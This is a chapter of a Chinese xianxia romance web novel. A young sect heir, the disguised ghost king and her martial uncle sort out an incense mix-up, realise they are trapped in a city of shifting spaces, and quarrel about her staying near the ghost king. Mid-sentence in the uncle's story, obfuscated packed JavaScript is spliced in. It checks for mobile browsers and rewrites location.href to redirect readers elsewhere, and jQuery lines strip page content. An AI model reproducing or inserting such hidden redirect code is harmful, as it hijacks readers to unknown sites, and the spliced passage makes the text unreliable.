正这时,异变突生。
吹喇叭的人群里突然杀出一身着墨蓝色长袍的青年,他眉间冰冷如寒霜,气势迫人,直接把洒“枣生桂子”的人群哗啦一声震开。
少宗主在旁惊喜道:“小师叔!”
月情心里咯噔一声,抬目一见,正是一双又冷又怒的眼。
她红着脸,呼吸急促,眼眸若一汪春水,呆呆看着他。
闫星逐一见,眼中顿时划过凛冽冷光,手中流星剑芒一闪而过,直指向一只手扶住月情的连绝。
连绝扫了他一眼,托了月情站稳,又移步,微一侧身,莲花香台轻摇,甜香若蜜裹糖霜,星芒紧接而至,正要挑破锦绳,却恰恰好错过他的腰身。
闫星逐微眯眼,手腕一转,星芒却撞脆冰,激起一阵寒冷雾气。
他的神色骤变,看向那不远处——月情呼出一口热气,抬起含水的眼眸,哑声道:“小师叔,你做什么要伤人啊。”
听到她这么说,闫星逐怒而握剑,冷笑道:“你真是鬼迷心窍了,这臭小子给你下药还占你便宜,你还为他说话!”
月情捂住滚烫的脸,微微呆滞,“下…下药?”
连绝闻言动了下眼珠,扯下了腰间的莲花香台,里间的香丸散发着丝丝甜味,绵长、交织,缭绕着,宛若情人厮磨间紧紧相缠的十指。
是催情香。
但对鬼无用。
他微微压眉,轻轻用力,将莲花香台捏作齑粉。
月情呆了一瞬,这才反应过来,连忙取下手中的莲花薰球,瞧着那香丸,眼中震惊不已。
若是在大祁,香坊是绝不可能把此等功效的香料光明正大摆出来的。
这修仙界,当真是百无禁忌!
她失语,胡乱将其冻成了冰疙瘩,攥在手心揉成了碎冰,涨红脸道:“不是下药。”
闫星逐狐疑地过了她一眼,眼神变化一二,见她神色不似作假,缓缓将剑收了起来。
他低沉着嗓子,问:“怎么回事?”
月情道:“乌龙,乌龙,方才我逛香坊时随意挑选了个香料,没成想会是这个功效……”
她难以齿启,也暗暗怪自己与连绝散步太放松,太迟钝,仔细回想,那群少女的神态分明不大对劲。
闫星逐冷冷指向一边吹喇叭撒喜糖的人群,“这也是乌龙?”
月情一噎,还有这一茬。
她鼻间还有甜香,心生燥热,根本冷静不下来,忍不住偷眼瞧连绝,热气绵绵道:“当然了。”
闫星逐见她这番心虚之态,只觉可笑而怒意又起,见连绝的眼神更像看拐卖良家少女的混混。
他的手再度按在了流星剑上,咬牙道:“你见我信吗?”
月情百口莫辩,酡红着脸,张唇又止。
这确实不是乌龙,但是——
连绝瞧了她一眼,见她着急解释,慢慢垂眸而停顿片刻。他的眼眸渐渐幽沉,而此间忽而一静,又蓦然间恢复喧嚣。
他低沉起嗓音,面无表情道:“不是乌龙,是受人指使。”
月情转目向他看去,却对上一双冰冷而肃杀的眼眸。
她懵然一瞬,眨了眨眼,吐出口热气,又蓦地反应过来——受人指使,受谁的指使,秋苑的!
她倒吸一口冷气,完蛋,秋苑又要被当球踢了。
月情紧张着急道:“她一定是好意!”
连绝根本不信,面色不虞,明显有再踢秋苑五十脚的打算。
她的脸酡红如醉,胡言乱语地扯道:“常言道:宁拆十座庙,不毁一桩婚。而我俩虽然没有婚约,但都有一对眼睛一只鼻子一张嘴,这实在是太有缘了,有缘到感动得她涕泗横流,不然,她绝不会出此下策,所以……”
话未说完,脑袋上就多了个肿包。
闫星逐睁大眼眸,又眉头紧锁,骂她道:“半个多月不见你居然学会了说这等恶心的话,月晚,你被风宁传染了吗?”
少宗主:“……”
月情忍了忍,十分□□,还看着连绝,为秋苑开脱,“所以,千万千万不要怪她。”
闫星逐盯着她脸上的灰蓝咒文,怒火渐消,变成沉重与慌乱,“你是不是中邪了?”
月情:“……”
她微笑道:“小师叔,我很好,我只是见不得人被当球踢而已。”
连绝看着她惨惨的笑容,并未说话,忽而,她松了口气,露出了真心实意的笑容,眼眸亮亮地望向他,他一顿,这才后知后觉自己的唇角微微上扬着。
意识到这一点,连绝有几分失神。但他并没有抚平唇角,而眼神中的肃杀之气则渐渐消失。
二人相视而笑。
闫星逐:“?”
他被夹在中间,左右看了看,缓缓明白过来原来他根本就是个局外人,什么中邪,哪有中邪,这分明是旁若无人、不顾人死活的调情!
他微微吸了一口气,冰冷着神色残忍打断道:“别看了,你们以为这里是什么调情的好地方吗?”
他沉声道:“此处万分诡异,行差踏错就是死路一条,别再傻乐了,先找个安全的地方。”
他一边说,一边强硬地挤到两人中间,把月情遮得严严实实,逮住她就要赶紧把她给带走,一二步后,他到底还是停下来回头看了眼连绝。
后者对上他却了无笑意,眉宇间是拒人于千里之外的冰冷。
闫星逐顿时倒眉,想骂人。
又生生忍住,语气烦躁,“你也跟上。”
月情听此瞬间回过头去,热乎乎地笑着说:“既然师叔让你来,你便也来吧。”
闫星逐想打人。
他冷哼一声,阴阳怪气地学她说话,“既然师叔让你来,你便也来吧~”
闫星逐继续阴阳冷笑,“我竟不知,什么时候你还会这般好声好气地说话了?”
月情噎住,不敢吱声。
少宗主见此画面,一阵牙酸,“好诡异。”
十三年前,连绝只在神魔殿下留下了一道飞雪中朦胧的暗紫身影,彼时彼刻,闫星逐还目眦欲裂要杀了他,十三年后,他换了一套绛色的袍子,两两相见却是互不相识。
闫星逐还冷面心热地让他跟上来。
而鬼王也真的跟了上来。
连绝的表情一贯是冰冷厌世的,说话往往也没有起伏,但他他他,他居然抬手拱了一礼,道:“谢谢师叔。”
更诡异了!
闫星逐冷冰冰道:“谁是你师叔?”
本来月晚没被鬼王残害,没受什么伤,好端端、活生生地,他已经是心满意足了,谁知道半道上突然杀出一个面瘫小子。
水灵灵的大白菜,养了十六年的大白菜,就被一只不知道从哪来的猪给拱了。
他那个气呀——
连绝仍旧面无表情,但听之任之,改口道:“谢谢月姑娘的师叔。”
闫星逐:“……”
他的脸色更臭了。
月情不由低笑了声,瞬间被甩过来的一个眼刀扎中。
她无辜不已,又问道:“小师叔,你要带我们去哪里?”
闫星逐微微蹙眉,收回目光,心生奇怪,道:“你一直在这一条街上?”
月情听到他的话,眼眸轻动,点了点头。
闫星逐领着他们进了一条无人的小路,他观察四周,神色警惕。
片刻后,确认此处安全无虞,才低声道:“这座城是一座被领域笼罩起来的城池,其间空间错综复杂,向前走一步向后走一步都有可能坠到另一片空间里。”
他沉默片刻后抬眉道:“从进入青云城伊始,我已经踏入了四个完全不同的空间。”
闫星逐道:“这是第四个。”
月情闻言抚了下腰间的白鹿铭牌。
莫名消失的风宁,已经离开又重新回到巷尾的连绝,一步退后至花池一步又重回街巷的月情,冲出暗巷不见的苏洛然,以及突然出现的闫星逐。
她看着这座喧哗热闹的城池,在无形之中,似乎看见了一扇扇看不见又摸不着的门。
而掌控门的人——
闫星逐看向天空,万里无云,碧蓝如洗,却宛若有成千上万的眼睛正戏谑地盯着他们。
他沉声道:“不仅如此,还有人在天外监视我们。”
月情若有所思地取下白鹿馆的铭牌,看着上面的花纹,回想起之前发生的一幕幕。
——“见云山特色霸王剧种,戏名叫《称王称霸谁敢不服,不服?那就挨打!》”
——“其实,我本来排的是一部风花雪月的爱情戏,但被大王否决了,临时排演成了武打戏。”
——“这些都是蜻蜓和秋苑请来拍戏的戏子。”
为什么没有人读台本,吊嗓子,原来是因为他们本来就是戏中人。
而所谓地有人在监视,其实是——看戏的观众?
月情凝目,问道:“小师叔,你在这四个空间里经历了什么?”
闫星逐一言难尽,伸出焦黑的左手,“第一个世界有一群失控的机关人,每个实力都在悟念境,一路追着我打。第二个世界则是一座孤岛,雷云滚滚,海上风浪无尽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950864|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,雷电千重,我这只手就是因此而伤。第三个世界……”
他没再说了,但一定也很凄惨。
月情看着他的眼中顿时多了分同情。
闫星逐赫然就是秋苑口中武打戏的主演之一,但这个打戏却是挨打的戏!
至于她和连绝,不必说了,就是风花雪月的爱情戏了。
月情轻抚下巴,暗自点头,秋苑真是好姐妹,为了帮她,居然冒着风险让连绝也入戏。
闫星逐还不知道自己是挨打的主演之一,神色沉沉与他们道:“此处领域的主人定然是鬼王。”
他恶心道:“他若是光明正大一决生死,我一个字都不会说,但没成想十三年一过,他的品味竟然与癫鬼风宁靠拢,恶趣味十足,以折磨、玩弄修士为乐。”
这话她就不赞同了。
“小师叔,如若不主动走进来,又怎么会被困住?”
闫星逐默然,的确如此,如果不主动走进来,绝不会被困在这青云城。
但是,他冷笑了一声,抬手就给了她一个爆叩,“如果不是你,你以为我会来这青云城?”
月情捂头,不敢吱声。
闫星逐继续骂她,“你大伯说了多少遍让你不要与鬼王针锋相对,让你离他远远地!你不听,还跑来这里,还好没出事,不然,不然……”
他没说完,胸膛剧烈起伏,冷硬的表情中,出现一抹裂缝。
少宗主怔怔地看着他,说不出话。
长久沉默中,他道:“我也恨他,恨他杀了师父…但是,月晚,我打不过他,十三年,整整十三年,我还是打不过他。”
十三年前,还有年少心性与玉石俱焚的决心与热血,十三年后,认清事实,深知根本不会玉石俱焚,他与鬼王对上,只会让净月宗多死一个人,仅此而已。
鬼王甚至不会脏手。
他看向她,哑声,“你的天赋比我高,以后会比我更厉害,但你不能这么做,你不能把自己成长的机会都逼没了…我知道,我知道从师父死的那一天起,你就不想活了,但是,你还年轻啊,你这么年轻……”
月情眼眸微动,失语不言。
少宗主从不怕死,从不惜命,遇事不决,选择自杀为上,原来是因为,早在十三年前,那个名叫月晚的小女孩儿就埋葬在了那一片极致寒冷的大雪里。
她早就已经死了,死在那个盛夏的寒冬。
而医修一次次救起来的人,不是净月宗少宗主,而是不想活却又被仇恨吊住一口气的孤魂。
半晌,闫星逐道:“我不知道鬼王为什么绕了你一命,但是你不能再继续留在他身边了,你性子一向急躁,若是被他得知有所异心,一定会杀了你,月晚,回来吧,不要再铤而走险了。”
月情还是没说话。
少宗主同样静默不语,她的光影垂着脑袋,矮矮地,几乎要蜷缩成一个团。
半晌,她闷声道:“月情,你求求连绝,让他把净月宗的人送走吧。”
月情看着她,少宗主别开了头不让她看。
——她没有说要回去。
月情沉默,少宗主虽然冲动但是不笨,她这些天一定是仔细盘算过究竟是谁能无声无息地动净月秘法。
盘算出来的结果,一定让她不能接受,一定也是净月宗的人,否则她听到闫星逐这么说不会是逃避的反应。
月情道:“小师叔,鬼王有七分信我,他不会对我动手的,我很安全,你不必担心。”
见她如此冥顽不灵,闫星逐失去了所有的手段和力气,长久地沉默,眼神中是孤寂的疲惫。
他无声垂眸。
三人静静而立。
“……”
等等,他蓦然抬头,盯向一边不吭声的连绝。
连绝感受到他灼灼的目光,毫无动静的神色起了一丝波澜——他竟然罕见地感受到了一丝不妙的气息。
闫星逐沉沉问:“那他呢?”
月情看看连绝,又看看闫星逐,心生不妙,谨慎道:“他在这里站着。”
此间静默了一秒钟。
闫星逐吸气,又冷笑着问,“所以,你为了鬼王也不要他了?”
他道:“你看着他的眼睛,拿出刚才调情的语气,再说一遍,就说我要杀鬼王,从此以后桥归桥、路归路,此生再不相见。”
月情:“……?”
闫星逐还没完,又对连绝道:“此等不负责任的情眷,赶紧一刀两断,待百八十年后,让她看着你儿孙满堂享天伦之乐,后悔死她。”
连绝:“……”